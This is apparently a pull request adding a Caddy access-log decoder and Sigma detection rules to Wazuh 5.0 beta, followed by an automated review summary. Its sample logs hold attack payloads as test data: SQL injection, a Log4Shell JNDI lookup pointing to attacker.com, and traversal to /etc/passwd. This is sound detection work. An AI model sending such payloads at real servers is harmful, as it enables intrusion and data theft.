Caddy integration wazuh v5.0beta

[NucleiAv]

Description

Caddy (caddyserver.com) is a modern open source web server with automatic HTTPS. It writes structured JSON access logs by default with no extra configuration needed, and right now there's no coverage for it in the Wazuh ruleset. Caddy integration for Wazuh 5.0's new ruleset format. Decoders are authored as YAML and mapped to ECS fields, and rules follow the Sigma rule specification.

Includes a decoder that parses Caddy's JSON access log into ECS fields (source.ip, url.original, http.request.method, http.response.status_code, user_agent.original, and so on), and 25 Sigma rules ported from the original 29 rule 4.x ruleset, covering the same attack and recon categories. Three of the original rules relied on frequency/correlation logic across multiple events and are not included here as Sigma rules, noted in the README under Integration Testing.

Verified end to end on Wazuh 5.0 using the dashboard's Log test tool, authored in the Draft space and promoted to Test before running sample logs through it. Decoder output and rule matches both confirmed.

I spoke with Farouk Musa and Hasitha Upekshitha about this in Slack.

For v5.0 I spun up the Docker deployment and inspected the running manager to understand the new format. Decoders are authored as YAML and compiled into JSON assets under /var/wazuh-manager/data/ruleset/, following a name / parents / check / normalize structure with ECS field names, confirmed by reading the built-in CloudTrail decoder directly off the running container. I also checked the 5.0-beta docs, but found a couple of pages either missing or out of sync with what the manager actually runs, so I ended up trusting the live compiled files over the documentation. I built the decoder and a first batch of rules through the dashboard's own Create workflow (Draft space, promoted to Test), ran them against sample Caddy logs, and confirmed the decoder maps every field correctly and rules fire on the expected patterns. Screenshots of both are attached below.

Testing Pics

Log examples

Normal request:

{"level":"info","ts":1700000000.0,"logger":"http.log.access","msg":"handled request","request":{"remote_ip":"10.0.0.1","remote_port":"12345","proto":"HTTP/1.1","method":"GET","host":"example.com","uri":"/index.html","headers":{"User-Agent":["Mozilla/5.0"]}},"status":200,"size":1024,"duration":0.002}

SQL injection attempt:

{"level":"info","ts":1700000000.0,"logger":"http.log.access","msg":"handled request","request":{"remote_ip":"1.2.3.4","remote_port":"54321","proto":"HTTP/1.1","method":"GET","host":"example.com","uri":"/?id=1 UNION SELECT 1,2,3--","headers":{"User-Agent":["sqlmap/1.7"]}},"status":200,"size":0,"duration":0.001}

Log4Shell JNDI injection:

{"level":"info","ts":1700000000.0,"logger":"http.log.access","msg":"handled request","request":{"remote_ip":"1.2.3.4","remote_port":"54321","proto":"HTTP/1.1","method":"GET","host":"example.com","uri":"/${jndi:ldap://attacker.com/x}","headers":{"User-Agent":["curl/7.68.0"]}},"status":400,"size":0,"duration":0.001}

Path traversal:

{"level":"info","ts":1700000000.0,"logger":"http.log.access","msg":"handled request","request":{"remote_ip":"1.2.3.4","remote_port":"54321","proto":"HTTP/1.1","method":"GET","host":"example.com","uri":"/../../../../etc/passwd","headers":{"User-Agent":["python-requests/2.28.0"]}},"status":404,"size":0,"duration":0.001}

[Copilot]

Pull request overview

Adds a new Wazuh 5.0 beta integration for Caddy access logs, including a YAML decoder that normalizes Caddy JSON access events into ECS-aligned fields and a set of Sigma-style detection rules for common web attack/recon patterns.

Changes:

• Added a Caddy access-log decoder (decoder/caddy-access/0) that maps Caddy JSON fields into ECS.
• Added 25 detection rules targeting url.original, user_agent.original, and http.request.method patterns.
• Added documentation and sample logs to support validation via Wazuh’s Log test workflow.

Reviewed changes

Copilot reviewed 28 out of 28 changed files in this pull request and generated 3 comments.

Show a summary per file

File	Description
integrations/caddy_integration_wazuh_v5.0beta/README.md	Documents setup, installation, and testing approach for the Caddy integration.
integrations/caddy_integration_wazuh_v5.0beta/sample_logs.txt	Adds example Caddy JSON access log lines for decoder/rule testing.
integrations/caddy_integration_wazuh_v5.0beta/ruleset/decoders/decoder_caddy-access_0.yml	Adds YAML decoder to normalize Caddy access logs into ECS-like fields.
integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996003_path-traversal.yml	Detects path traversal patterns in request URIs.
integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996004_sql-injection.yml	Detects SQL injection patterns in request URIs.
integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996005_sensitive-path-probe.yml	Detects probing of common sensitive paths (e.g., .env, wp-admin).
integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996008_xss.yml	Detects common XSS payload markers in request URIs.
integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996009_command-injection.yml	Detects command-injection style metacharacters + command keywords in URIs.
integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996010_known-scanner-tool.yml	Detects common scanner tool user agents.
integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996011_trace-track-method.yml	Detects TRACE/TRACK HTTP methods.
integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996012_log4shell-jndi.yml	Detects Log4Shell/JNDI payload indicators in URIs.
integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996013_sensitive-file-access.yml	Detects access attempts to specific sensitive files/paths.
integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996014_credential-key-file-access.yml	Detects access attempts to credential/private key material.
integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996015_backup-db-dump.yml	Detects backup/dump/database file access attempts by extension.
integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996016_source-control-artifact.yml	Detects exposed source-control artifacts (.git, .svn, etc.).
integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996017_app-log-file-access.yml	Detects access attempts to application/debug/error log files.
integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996020_suspicious-filename.yml	Detects suspicious filename keywords suggesting sensitive content.
integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996021_auth-endpoint-access.yml	Detects hits to common authentication endpoints.
integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996023_encoding-evasion.yml	Detects unusual/double-encoding patterns often used for evasion.
integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996024_lfi-rfi.yml	Detects local/remote file inclusion patterns (wrappers/schemes).
integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996025_ssrf.yml	Detects SSRF targeting metadata endpoints/internal hosts.
integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996026_graphql-introspection.yml	Detects GraphQL introspection/schema probe patterns.
integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996027_unusual-http-method.yml	Detects unusual/dangerous HTTP methods (e.g., PROPFIND, DEBUG).
integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996028_suspicious-user-agent.yml	Detects empty/placeholder/oversized User-Agent values.
integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996029_dangerous-file-upload.yml	Detects potentially dangerous executable/script upload attempts.
integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996030_oversized-uri.yml	Detects abnormally long URIs.
integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996031_double-extension-bypass.yml	Detects double-extension upload bypass attempts.
integrations/caddy_integration_wazuh_v5.0beta/ruleset/rules/rule_996032_archive-macro-upload.yml	Detects archive/macro-enabled document upload attempts.

---

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.